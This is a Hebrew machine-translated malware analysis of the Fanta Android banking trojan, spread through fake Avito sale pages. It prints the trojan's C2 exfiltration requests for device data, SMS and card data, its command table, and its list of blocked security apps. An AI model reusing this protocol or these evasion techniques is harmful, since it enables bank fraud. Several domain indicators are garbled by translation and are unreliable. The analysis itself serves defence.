🥇Leisya, Fanta: טקטיקה חדשה לטרויאני אנדרואיד ישן

יום אחד אתה רוצה למכור משהו ב-Avito ולאחר פרסום תיאור מפורט של המוצר שלך (לדוגמה, מודול RAM), תקבל את ההודעה הבאה:

כשתפתח את הקישור, תראה דף תמים לכאורה המודיע לך, המוכר המאושר והמצליח, שהרכישה שלך בוצעה:

לאחר שלחצת על כפתור "המשך", יוורד קובץ APK למכשיר האנדרואיד שלך עם סמל ושם אמין. התקנת אפליקציה שמשום מה ביקשה זכויות AccessibilityService, ואז הופיעו כמה חלונות ונעלמו במהירות ו... זהו.

אתה הולך לבדוק את היתרה שלך, אבל מסיבה כלשהי האפליקציה הבנקאית שלך מבקשת שוב את פרטי הכרטיס שלך. לאחר הזנת הנתונים, קורה דבר נורא: מסיבה כלשהי שעדיין לא מובנת לך, הכסף מתחיל להיעלם מהחשבון שלך. אתה מנסה לתקן את הבעיה, אבל הטלפון שלך מתנגד: הוא לוחץ לבד על מקשי הגב והבית, לא נכבה ולא מאפשר לך להפעיל שום אמצעי אבטחה. כתוצאה מכך, אתה נשאר בלי כסף, המוצר שלך לא נקנה, אתה מבולבל ותוהה: מה קרה?

התשובה פשוטה: אתה קורבן של הטרויאני Fanta Android, משפחת Flexnet. איך זה קרה? עכשיו בואו נסביר.

מחברים: אנדריי פולובינקין, אנליסט קוד זדוני זוטר, איבן פיסרב, אנליסט קוד זדוני.

כמה סטטיסטיקות

משפחת Flexnet של סוסי אנדרואיד טרויאנים דווחה לראשונה בשנת 2015. במשך תקופה ארוכה למדי של פעילות, המשפחה התרחבה למספר תת-מינים: Fanta, Limebot, Lipton וכו'. הטרויאני, כמו גם התשתית הקשורה אליו, אינם עומדים במקום: תוכניות הפצה אפקטיביות חדשות מפותחות - במקרה שלנו, דפי פישינג איכותיים המיועדים למוכר משתמש ספציפי, ומפתחים טרויאניים עוקבים אחר מגמות האופנה של כתיבת וירוסים - הם מוסיפים פונקציונליות חדשה שמאפשרת לגנוב ביעילות רבה יותר כסף ממכשירים נגועים ולעקוף מנגנוני הגנה.

הקמפיין המתואר במאמר זה מיועד למשתמשים מרוסיה, מספר קטן של מכשירים נגועים תועד באוקראינה, ועוד פחות בקזחסטן ובלארוס.

למרות ש-Flexnet נמצאת בזירה הטרויאנית של אנדרואיד כבר יותר מ-4 שנים ונחקרה בהרחבה על ידי חוקרים רבים, היא עדיין במצב טוב. החל מינואר 2019, כמות הנזק הפוטנציאלית היא יותר מ-35 מיליון רובל - וזה רק עבור מסעות פרסום ברוסיה. בשנת 2015, גרסאות שונות של אנדרואיד טרויאני זה נמכרו בפורומים מחתרתיים, שם ניתן היה למצוא גם את קוד המקור של הטרויאני עם תיאור מפורט. וזה אומר שהסטטיסטיקה של הנזק בעולם מרשימה עוד יותר. דמות לא רעה לזקן כזה, נכון?

ממכירה להונאה

כפי שניתן לראות מצילום המסך שהוצג קודם לכן של דף ההתחזות תחת שירות האינטרנט להצבת מודעות Avito, הוא הוכן עבור קורבן ספציפי. ככל הנראה, התוקפים משתמשים באחד מהמנתחים של אביטו, שולפים את מספר הטלפון ושם המוכר, כמו גם תיאור של המוצר. לאחר פריסת העמוד והכנת קובץ ה-APK נשלחת לנפגע הודעת SMS עם שמו וקישור לעמוד פישינג המכיל תיאור המוצר שלו והסכום שהתקבל מ"מכירת" המוצר. בלחיצה על הכפתור, המשתמש מקבל קובץ APK זדוני - Fanta.

מחקר של הדומיין shcet491[.]ru הראה שהוא מואצל לשרתי ה-DNS של Hostinger:

ns1.hostinger.ru
ns2.hostinger.ru
ns3.hostinger.ru
ns4.hostinger.ru

קובץ אזור התחום מכיל ערכים המצביעים על כתובות ה-IP 31.220.23[.]236, 31.220.23[.]243 ו-31.220.23[.]235. עם זאת, רשומת המשאב הראשי של התחום (A-record) מצביעה על השרת עם כתובת ה-IP 178.132.1[.]240.

כתובת ה-IP 178.132.1[.]240 ממוקמת בהולנד ושייכת למארח זרם העולם. כתובות ה-IP 31.220.23[.]235, 31.220.23[.]236 ו-31.220.23[.]243 ממוקמות בבריטניה ושייכות לשרת האירוח המשותף HOSTINGER. משמש כרשם openprov-ru. דומיינים נפתרו גם לכתובת IP 178.132.1[.]240:

sdelka-ru[.]ru
product-av[.]ru
av-product[.]ru
en-deal[.]he
shcet382[.]ru
sdelka221[.]en
sdelka211[.]en
vyplata437[.]ru
viplata291[.]en
translation273[.]he
translation901[.]he

יש לציין כי קישורים בפורמט הבא היו זמינים כמעט מכל הדומיינים:

http://(www.){0,1}<%domain%>/[0-9]{7}

תבנית זו כוללת גם קישור מהודעת SMS. על פי נתונים היסטוריים, נמצא כי מספר קישורים לפי התבנית הנ"ל תואמים לתחום אחד, מה שמעיד על שימוש בדומיין אחד להפצת הטרויאני למספר קורבנות.

נקפוץ קצת קדימה: בתור שרת בקרה, הטרויאני שהורד מהקישור מ-SMS משתמש בכתובת onuseseddohap[.]מועדון. הדומיין הזה נרשם ב-2019-03-12, והחל מ-2019-04-29, אפליקציות APK קיימו אינטראקציה עם הדומיין הזה. בהתבסס על נתונים שהתקבלו מ-VirusTotal, בסך הכל 109 יישומים קיימו אינטראקציה עם שרת זה. הדומיין עצמו נפתר לכתובת IP 217.23.14[.]27, ממוקם בהולנד ובבעלות מארח זרם העולם. משמש כרשם Namecheap. דומיינים נפתרו גם לכתובת IP זו bad-racoon[.]club (החל מ-2018-09-25) ו bad-racoon[.]חי (החל מ-2018-10-25). עם דומיין bad-racoon[.]club קיים אינטראקציה עם יותר מ-80 קבצי APK, עם bad-racoon[.]חי - יותר מ 100.

באופן כללי, מהלך המתקפה הוא כדלקמן:

מה יש לפנטה מתחת למכסה?

כמו סוסים טרויאניים רבים אחרים של אנדרואיד, Fanta מסוגלת לקרוא ולשלוח הודעות SMS, לבצע בקשות USSD ולהציג חלונות משלה על גבי יישומים (כולל בנקאיים). עם זאת, בארסנל של הפונקציונליות של המשפחה הזו הגיעה: Fanta החלה להשתמש שירות נגישות למטרות שונות: קריאת תוכן הודעות של אפליקציות אחרות, מניעת זיהוי והפסקת ביצוע של סוס טרויאני במכשיר נגוע וכו'. Fanta עובד על כל גרסאות אנדרואיד ישנות מ-4.4. במאמר זה, נסתכל מקרוב על מדגם הפנטה הבא:

MD5: 0826bd11b2c130c4c8ac137e395ac2d4
SHA1: ac33d38d486ee4859aa21b9aeba5e6e11404bcc8
SHA256: df57b7e7ac6913ea5f4daad319e02db1f4a6b243f2ea6500f83060648da6edfb

מיד לאחר ההשקה

מיד לאחר ההשקה, הטרויאני מסתיר את הסמל שלו. האפליקציה יכולה לעבוד רק אם שם המכשיר הנגוע אינו ברשימה:

אנדרואיד_קס 86
VirtualBox
Nexus 5X (בולהד)
Nexus 5 (סכין גילוח)

בדיקה זו מתבצעת בשירות הטרויאני הראשי - MainService. במהלך ההשקה הראשונה, אתחול פרמטרי התצורה של האפליקציה עם ערכי ברירת מחדל (פורמט אחסון נתוני התצורה ומשמעותם יידונו בהמשך), כמו גם רישום של מכשיר נגוע חדש בשרת הבקרה. בקשת HTTP POST תישלח לשרת עם סוג ההודעה register_bot ומידע על המכשיר הנגוע (גרסת אנדרואיד, IMEI, מספר טלפון, שם מפעיל וקוד המדינה בה המפעיל רשום). כתובת משמשת כשרת ניהול hXXp://onuseseddohap[.]club/controller.php. בתגובה, השרת שולח הודעה המכילה את השדות bot_id, bot_pwd, שרת - ערכים אלה נשמרים על ידי האפליקציה כפרמטרים של שרת CnC. פָּרָמֶטֶר שרת אופציונלי אם השדה לא התקבל: Fanta משתמש בכתובת הרישום − hXXp://onuseseddohap[.]club/controller.php. ניתן להשתמש בפונקציה של שינוי כתובת ה-CnC כדי לפתור שתי בעיות: לחלק את העומס באופן שווה בין מספר שרתים (עם מספר רב של מכשירים נגועים, העומס על שרת אינטרנט לא מותאם יכול להיות גבוה), וגם להשתמש בחלופה שרת במקרה של כשל באחד משרתי ה-CnC.

אם מתרחשת שגיאה בעת שליחת הבקשה, הטרויאני יחזור על תהליך הרישום לאחר 20 שניות.

לאחר רישום המכשיר בהצלחה, Fanta תציג למשתמש את ההודעה הבאה:

הערה חשובה: שירות שנקרא אבטחת מערכת - שם השירות הטרויאני, ולאחר לחיצה על הכפתור ОК ייפתח חלון עם הגדרות הנגישות של המכשיר הנגוע, שבו על המשתמש להעניק בעצמו זכויות נגישות עבור השירות הזדוני:

ברגע שהמשתמש נדלק שירות נגישות, Fanta ניגשת לתוכן של חלונות יישומים ולפעולות המבוצעות בהם:

מיד לאחר קבלת זכויות נגישות, הטרויאני מבקש זכויות מנהל וזכויות לקריאת הודעות:

בעזרת שירות הנגישות, האפליקציה מדמה הקשות על מקשים ובכך מעניקה לעצמה את כל הזכויות הנדרשות.

Fanta יוצרת מספר מופעים של מסדי הנתונים (אשר יתוארו בהמשך) הנחוצים לשמירת נתוני התצורה, כמו גם את המידע על המכשיר הנגוע שנאסף במהלך התהליך. כדי לשלוח את המידע שנאסף, הטרויאני יוצר משימה חוזרת שנועדה לפרוק שדות ממסד הנתונים ולקבל פקודה משרת הבקרה. מרווח הקריאה ל-CnC נקבע בהתאם לגרסת האנדרואיד: במקרה של 5.1, המרווח יהיה 10 שניות, אחרת 60 שניות.

כדי לקבל פקודה, פאנטה מבקשת GetTask לשרת הבקרה. בתגובה, ה-CnC יכול לשלוח אחת מהפקודות הבאות:

קבוצה	תיאור
0	שלח הודעת SMS
1	בצע שיחת טלפון או פקודת USSD
2	מעדכן פרמטר הפסקה
3	מעדכן פרמטר לעכב
6	מעדכן פרמטר smsManager
9	התחל לאסוף הודעות SMS
11	אפס את הטלפון להגדרות היצרן
12	הפעלה/השבתה של רישום של יצירת תיבות דו-שיח

Fanta גם אוספת התראות מ-70 אפליקציות בנקאיות, תשלום מהיר וארנק אלקטרוני ומאחסנת אותן במסד נתונים.

אחסון פרמטרי תצורה

כדי לאחסן פרמטרים של תצורה, Fanta משתמש בגישה הסטנדרטית עבור פלטפורמת אנדרואיד - העדפות-קבצים. ההגדרות יישמרו בקובץ בשם הגדרות. התיאור של הפרמטרים השמורים נמצא בטבלה למטה.

שם	ערך ברירת מחדל	ערכים אפשריים	תיאור
id	0	מספר שלם	מזהה בוט
שרת	hXXp://onuseseddohap[.]club/	כתובת האתר	כתובת שרת ניהול
pwd	-	מחרוזת	סיסמת שרת
הפסקה	20	מספר שלם	מרווח זמן. מראה כמה זמן לדחות את המשימות הבאות: בעת שליחת בקשה לגבי מצב הודעת SMS שנשלחה קבלת פקודה חדשה משרת הבקרה
לעכב	את כל	all/telNumber	אם השדה שווה למחרוזת את כל או מספר טלפון, אז הודעת ה-SMS שהתקבלה תיירטה על ידי האפליקציה ולא תוצג למשתמש
smsManager	0	0/1	הפעל/השבת את האפליקציה בתור נמען ברירת המחדל של SMS
readDialog	שקר	אמת שקר	הפעל/השבת רישום אירועים אירוע נגישות

Fanta גם משתמש בקובץ smsManager:

שם	ערך ברירת מחדל	ערכים אפשריים	תיאור
pckg	-	מחרוזת	שם מנהל ה-SMS בשימוש

אינטראקציה במסד נתונים

הטרויאני משתמש בשני מסדי נתונים במהלך פעולתו. מסד נתונים בשם a משמש לאחסון מידע שונים שנאסף מהטלפון. שם מסד הנתונים השני fanta.db ומשמש לשמירת הגדרות האחראיות ליצירת חלונות דיוג המיועדים לאיסוף מידע על כרטיסי בנק.

טרויאני משתמש במסד נתונים а לאחסן את המידע שנאסף וליומן את פעולותיהם. הנתונים מאוחסנים בטבלה יומני. שאילתת SQL הבאה משמשת ליצירת טבלה:

create table logs ( _id integer primary key autoincrement, d TEXT, f TEXT, p TEXT, m integer)

המאגר מכיל את המידע הבא:

1. כניסה למכשיר הנגוע באמצעות הודעה הטלפון מופעל!

2. הודעות מאפליקציות. ההודעה נוצרת לפי התבנית הבאה:

(<%App Name%>)<%Title%>: <%Notification text%>

3. נתוני כרטיס בנק מטפסי פישינג שנוצרו על ידי הטרויאני. פָּרָמֶטֶר VIEW_NAME יכול להיות אחד מהרשימה:

אלי אקספרס (AliExpress)
אביטו
Play Google
שונות <%App Name%>

ההודעה נרשמת בפורמט:

[<%Time in format HH:mm:ss dd.MM.yyyy%>](<%VIEW_NAME%>) Номер карты:<%CARD_NUMBER%>; Дата:<%MONTH%>/<%YEAR%>; CVV: <%CVV%>

4. הודעות SMS נכנסות/יוצאות בפורמט:

([<%Time in format HH:mm:ss dd.MM.yyyy%>] Тип: Входящее/Исходящее) <%Mobile number%>:<%SMS-text%>

5. מידע על החבילה שיוצרת את תיבת הדו-שיח בפורמט:

(<%Package name%>)<%Package information%>

דוגמה לטבלה יומני:

אחת הפונקציות של Fanta היא איסוף מידע על כרטיסי בנק. הנתונים נאספים על ידי יצירת חלונות דיוג בעת פתיחת אפליקציות בנקאיות. הטרויאני יוצר חלון דיוג פעם אחת בלבד. המידע שהחלון הוצג למשתמש מאוחסן בטבלה הגדרות במסד הנתונים fanta.db. שאילתת SQL הבאה משמשת ליצירת מסד הנתונים:

create table settings (can_login integer, first_bank integer, can_alpha integer, can_avito integer, can_ali integer, can_vtb24 integer, can_telecard integer, can_another integer, can_card integer);

כל שדות הטבלה הגדרות אתחול ל-1 (יצירת חלון דיוג) כברירת מחדל. לאחר שהמשתמש יזין את הנתונים שלו, הערך יוגדר ל-0. שדות טבלה לדוגמה הגדרות:

can_login - השדה אחראי להצגת הטופס בעת פתיחת הבקשה הבנקאית
first_bank - לא בשימוש
can_avito - השדה אחראי על הצגת הטופס בעת פתיחת אפליקציית Avito
can_ali - השדה אחראי להצגת הטופס בעת פתיחת אפליקציית Aliexpress
יכול_אחר - השדה אחראי להצגת הטופס בעת פתיחת אפליקציה כלשהי מהרשימה: Yula, Pandao, Drome Auto, Wallet. כרטיסי הנחה ובונוסים, Aviasales, Booking, Trivago
יכול_כרטיס - השדה אחראי להצגת הטופס בעת הפתיחה Play Google

אינטראקציה עם שרת הבקרה

אינטראקציה ברשת עם שרת הבקרה מתבצעת באמצעות פרוטוקול HTTP. Fanta משתמשת בספריית Retrofit הפופולרית כדי לעבוד עם הרשת. בקשות נשלחות אל hXXp://onuseseddohap[.]club/controller.php. ניתן לשנות את כתובת השרת בעת ההרשמה לשרת. ייתכן שקובץ Cookie יוחזר מהשרת. Fanta שולחת את הבקשות הבאות לשרת:

רישום בוט בשרת הבקרה מתרחש פעם אחת בהתחלה הראשונה. הנתונים הבאים על המכשיר הנגוע נשלחים לשרת:
· עוגיה - עוגיות שהתקבלו מהשרת (ערך ברירת המחדל הוא מחרוזת ריקה)
· מצב - קבוע מיתר register_bot
· קידומת - קבוע מספר שלם 2
· version_sdk - נוצר על פי התבנית הבאה: <%Build.MODEL%>/<%Build.VERSION.RELEASE%>(Avit)
· IMEI - IMEI של המכשיר הנגוע
· מדינה - קוד המדינה שבה המפעיל רשום, בפורמט ISO
· מספר - מספר טלפון
· מפעיל - שם המפעיל

דוגמה לבקשה שנשלחה לשרת:
```
POST /controller.php HTTP/1.1
Cookie:
Content-Type: application/x-www-form-urlencoded
Content-Length: 144
Host: onuseseddohap.club
Connection: close
Accept-Encoding: gzip, deflate
User-Agent: okhttp/3.6.0

mode=register_bot&prefix=2&version_sdk=<%VERSION_SDK%>&imei=<%IMEI%>&country=<%COUNTRY_ISO%>&number=<%TEL_NUMBER%>&operator=<%OPERATOR_NAME%>
```
בתגובה לבקשה, על השרת להחזיר אובייקט JSON המכיל את הפרמטרים הבאים:
bot_id - מזהה המכשיר הנגוע. אם bot_id שווה ל-0, Fanta תבצע מחדש את הבקשה.
bot_pwd - סיסמא לשרת.
שרת - כתובת שרת הבקרה. פרמטר אופציונלי. אם הפרמטר לא צוין, הכתובת השמורה באפליקציה תשמש.

דוגמה לאובייקט JSON:
```
{
    "response":[
   	 {
   		 "bot_id": <%BOT_ID%>,
   		 "bot_pwd": <%BOT_PWD%>,
   		 "server": <%SERVER%>
   	 }
    ],
    "status":"ok"
}
```

בקשה לקבל פקודה מהשרת. הנתונים הבאים נשלחים לשרת:
· עוגיה - עוגיות שהתקבלו מהשרת
· הצעה - מזהה המכשיר הנגוע, שהתקבל בעת שליחת הבקשה register_bot
· pwd -סיסמה לשרת
· divice_admin - השדה קובע אם הושגו זכויות מנהל. אם הושגו זכויות מנהל, השדה שווה ל 1אחרת 0
· נגישות - מצב שירות הנגישות. אם השירות הופעל, הערך הוא 1אחרת 0
· SMSManager - מראה אם הטרויאני מופעל כיישום ברירת המחדל לקבלת SMS
· מסך - מראה באיזה מצב המסך נמצא. הערך יוגדר 1אם המסך דולק, אחרת 0;

דוגמה לבקשה שנשלחה לשרת:
```
POST /controller.php HTTP/1.1
Cookie:
Content-Type: application/x-www-form-urlencoded
Host: onuseseddohap.club
Connection: close
Accept-Encoding: gzip, deflate
User-Agent: okhttp/3.6.0

mode=getTask&bid=<%BID%>&pwd=<%PWD%>&divice_admin=<%DEV_ADM%>&Accessibility=<%ACCSBL%>&SMSManager=<%SMSMNG%>&screen=<%SCRN%>
```
בהתאם לפקודה, השרת עשוי להחזיר אובייקט JSON עם פרמטרים שונים:

· קבוצה שלח הודעת SMS: הפרמטרים מכילים את מספר הטלפון, הטקסט של הודעת ה-SMS ומזהה ההודעה שתישלח. המזהה משמש בעת שליחת הודעה לשרת עם הסוג setSmsStatus.
```
{
    "response":
    [
   	 {
   		 "mode": 0,
   		 "sms_number": <%SMS_NUMBER%>,
   		 "sms_text": <%SMS_TEXT%>,
   		 "sms_id": %SMS_ID%
   	 }
    ],
    "status":"ok"
}
```
· קבוצה בצע שיחת טלפון או פקודת USSD: מספר הטלפון או הפקודה מופיעים בגוף התגובה.
```
{
    "response":
    [
   	 {
   		 "mode": 1,
   		 "command": <%TEL_NUMBER%>
   	 }
    ],
    "status":"ok"
}
```
· קבוצה שנה את פרמטר המרווחים.
```
{
    "response":
    [
   	 {
   		 "mode": 2,
   		 "interval": <%SECONDS%>
   	 }
    ],
    "status":"ok"
}
```
· קבוצה שנה את פרמטר היירוט.
```
{
    "response":
    [
   	 {
   		 "mode": 3,
   		 "intercept": "all"/"telNumber"/<%ANY_STRING%>
   	 }
    ],
    "status":"ok"
}
```
· קבוצה שנה שדה SmsManager.
```
{
    "response":
    [
   	 {
   		 "mode": 6,
   		 "enable": 0/1
   	 }
    ],
    "status":"ok"
}
```
· קבוצה אסוף הודעות SMS ממכשיר נגוע.
```
{
    "response":
    [
   	 {
   		 "mode": 9
   	 }
    ],
    "status":"ok"
}
```
· קבוצה אפס את הטלפון להגדרות היצרן:
```
{
    "response":
    [
   	 {
   		 "mode": 11
   	 }
    ],
    "status":"ok"
}
```
· קבוצה שנה את הגדרת ReadDialog.
```
{
    "response":
    [
   	 {
   		 "mode": 12,
   		 "enable": 0/1
   	 }
    ],
    "status":"ok"
}
```

שולח הודעה עם סוג setSmsStatus. בקשה זו מתבצעת לאחר ביצוע הפקודה שלח הודעת SMS. הבקשה נראית כך:

POST /controller.php HTTP/1.1
Cookie:
Content-Type: application/x-www-form-urlencoded
Host: onuseseddohap.club
Connection: close
Accept-Encoding: gzip, deflate
User-Agent: okhttp/3.6.0

mode=setSmsStatus&id=<%ID%>&status_sms=<%PWD%>

הגשת תוכן המאגר. מחרוזת אחת מועברת לכל בקשה. הנתונים הבאים נשלחים לשרת:
· עוגיה - עוגיות שהתקבלו מהשרת
· מצב - קבוע מיתר setSaveInboxSms
· הצעה - מזהה המכשיר הנגוע, שהתקבל בעת שליחת הבקשה register_bot
· טֶקסט - טקסט ברשומת מסד הנתונים הנוכחית (שדה d מהשולחן יומני במסד הנתונים а)
· מספר - שם רשומת מסד הנתונים הנוכחית (שדה p מהשולחן יומני במסד הנתונים а)
· sms_mode - ערך מספר שלם (שדה m מהשולחן יומני במסד הנתונים а)

הבקשה נראית כך:
```
POST /controller.php HTTP/1.1
Cookie:
Content-Type: application/x-www-form-urlencoded
Host: onuseseddohap.club
Connection: close
Accept-Encoding: gzip, deflate
User-Agent: okhttp/3.6.0

mode=setSaveInboxSms&bid=<%APP_ID%>&text=<%a.logs.d%>&number=<%a.logs.p%>&sms_mode=<%a.logs.m%>
```
לאחר הגשה מוצלחת לשרת, השורה תוסר מהטבלה. דוגמה לאובייקט JSON שהוחזר על ידי השרת:
```
{
    "response":[],
    "status":"ok"
}
```

אינטראקציה עם AccessibilityService

שירות הנגישות יושם כדי להקל על אנשים עם מוגבלות להשתמש במכשירי אנדרואיד. ברוב המקרים, נדרשת אינטראקציה פיזית כדי ליצור אינטראקציה עם אפליקציה. AccessibilityService מאפשר לך ליצור אותם באופן תכנותי. Fanta משתמשת בשירות כדי ליצור חלונות מזויפים באפליקציות בנקאיות ולמנוע פתיחת הגדרות מערכת ואפליקציות מסוימות.

באמצעות הפונקציונליות של שירות הנגישות, הטרויאני עוקב אחר שינויים באלמנטים במסך של מכשיר נגוע. כפי שתואר קודם לכן, הגדרות Fanta מכילות פרמטר שאחראי על רישום פעולות עם תיבות דו-שיח - readDialog. אם אפשרות זו מוגדרת, מידע על השם והתיאור של החבילה שהפעילה את האירוע יתווסף למסד הנתונים. הטרויאני מבצע את הפעולות הבאות כאשר הוא מופעל:

מדמה הקשות בחזרה ובבית במקרה של:
· אם המשתמש רוצה לאתחל את המכשיר שלו
· אם המשתמש רוצה למחוק את אפליקציית "Avito" או לשנות את זכויות הגישה
· אם יש אזכור של אפליקציית "Avito" בעמוד
· כאשר אתה פותח את האפליקציה "Google Play Protect".
· בעת פתיחת דפים עם הגדרות AccessibilityService
· כאשר מופיעה תיבת הדו-שיח אבטחת מערכת
· בעת פתיחת הדף עם ההגדרות "צייר מעל אפליקציה אחרת"
· כאשר אתה פותח את העמוד "יישומים", "גיבוי ואיפוס", "איפוס נתונים", "איפוס הגדרות", "פאנל מפתחים", "מפרט. הזדמנויות", "נגישות", "זכויות מיוחדות"
· אם האירוע נוצר על ידי יישומים מסוימים.

רשימת יישומים
- דְמוּי אָדָם
- מאסטר לייט
- הורים נקיים
- נקי מאסטר למעבד x86
- Meizu Applicationom ניהול הרשאות
- אבטחת MIUI
- Clean Master - מנקה אנטי וירוס ומטמון וזבל
- בקרת הורים ו-GPS: Kaspersky SafeKids
- Kaspersky Antivirus AppLock & Web Security Beta
- מנקה וירוסים, אנטי וירוס, מנקה (מקס אבטחה)
- Mobile AntiVirus Security PRO
- אנטי וירוס Avast והגנה בחינם 2019
- אבטחה ניידת MegaFon
- AVG Protection עבור Xperia
- אבטחה ניידת
- אנטי-וירוס והגנה מפני Malwarebytes
- אנטי וירוס לאנדרואיד 2019
- Security Master - אנטי וירוס, VPN, AppLock, Booster
- AVG אנטי וירוס לטאבלט Huawei System Manager
- נגישות סמסונג
- Samsung Smart Manager
- מאסטר אבטחה
- מאיץ מהירות
- ד"ר ווב
- מרחב האבטחה של Dr.Web
- Dr.Web Mobile Control Center
- Dr.Web Security Space Life
- Dr.Web Mobile Control Center
- אנטי-וירוס ואבטחה סלולרית
- Kaspersky Internet Security: אנטי וירוס והגנה
- חיי סוללה של קספרסקי: חיסכון ומגבר
- Kaspersky Endpoint Security - הגנה וניהול
- AVG Antivirus free 2019 - הגנה לאנדרואיד
- האנטי וירוס Android
- Norton Mobile Security ואנטי וירוס
- אנטי וירוס, חומת אש, VPN, אבטחה ניידת
- אבטחה ניידת: אנטי וירוס, VPN, אנטי גניבה
- אנטי וירוס לאנדרואיד
אם מתבקשת רשות בעת שליחת הודעת SMS למספר קצר, Fanta מדמה לחיצה על תיבת הסימון זכור בחירה וכפתור לשלוח.
כאשר אתה מנסה לקחת את זכויות המנהל מהטרויאני, זה חוסם את מסך הטלפון.
מונע הוספת מנהלי מערכת חדשים.
אם אפליקציית האנטי וירוס dr.web זיהה איום, Fanta מדמה לחיצה על כפתור להתעלם.
הטרויאני מדמה לחיצה על כפתור החזרה והבית אם האירוע נוצר על ידי האפליקציה טיפול במכשירים של סמסונג.
Fanta יוצרת חלונות פישינג עם טפסים להזנת מידע על כרטיסי בנק אם מופעלת אפליקציה מתוך רשימה של כ-30 שירותי אינטרנט שונים. ביניהם: AliExpress, Booking, Avito, Google Play Market Component, Pandao, Drome Auto וכו'.

טפסי פישינג

Fanta מנתחת אילו אפליקציות פועלות במכשיר הנגוע. אם נפתחה בקשת עניין, הטרויאני מציג חלון דיוג על כל השאר, שהוא טופס להזנת מידע על כרטיס בנק. המשתמש צריך להזין את הנתונים הבאים:
- מספר הכרטיס
- תאריך תפוגה של הכרטיס
- CVV
- שם בעל הכרטיס (לא לכל הבנקים)
בהתאם לאפליקציה הפועלת, יוצגו חלונות דיוג שונים. להלן דוגמאות לכמה מהם:

אלי אקספרס:

אביטו:

עבור כמה יישומים אחרים כמו Google Play Market, Aviasales, Pandao, Booking, Trivago:

איך זה היה באמת

למרבה המזל, מי שקיבל את הודעת ה-SMS המתוארת בתחילת המאמר התברר כמומחה לאבטחת סייבר. לכן, הגרסה האמיתית, שאינה במאי, שונה מזו שסופרה קודם לכן: האדם קיבל הודעת SMS מעניינת, שלאחריה הוא מסר אותה לצוות מודיעין ציד האיומים של Group-IB. התוצאה של המתקפה היא מאמר זה. סוף טוב, נכון? עם זאת, לא כל הסיפורים מסתיימים כל כך טוב, וכדי שהסיפור שלך לא ייראה כמו חתך של במאי עם אובדן כסף, ברוב המקרים די להקפיד על הכללים הבאים שתוארו זמן רב:
- אל תתקין אפליקציות עבור מכשיר ה-Android הנייד שלך מכל מקור אחר מלבד Google Play
- בעת התקנת האפליקציה, שימו לב במיוחד לזכויות המבוקשות על ידי האפליקציה
- שימו לב להרחבות של קבצים שהועלו
- להתקין עדכוני מערכת הפעלה אנדרואיד באופן קבוע
- אל תבקר במשאבים חשודים ואל תוריד קבצים משם
- אין ללחוץ על קישורים שהתקבלו בהודעות SMS.

מקור: www.habr.com

Leysya, Fanta: טקטיקה חדשה עבור טרויאני אנדרואיד ישן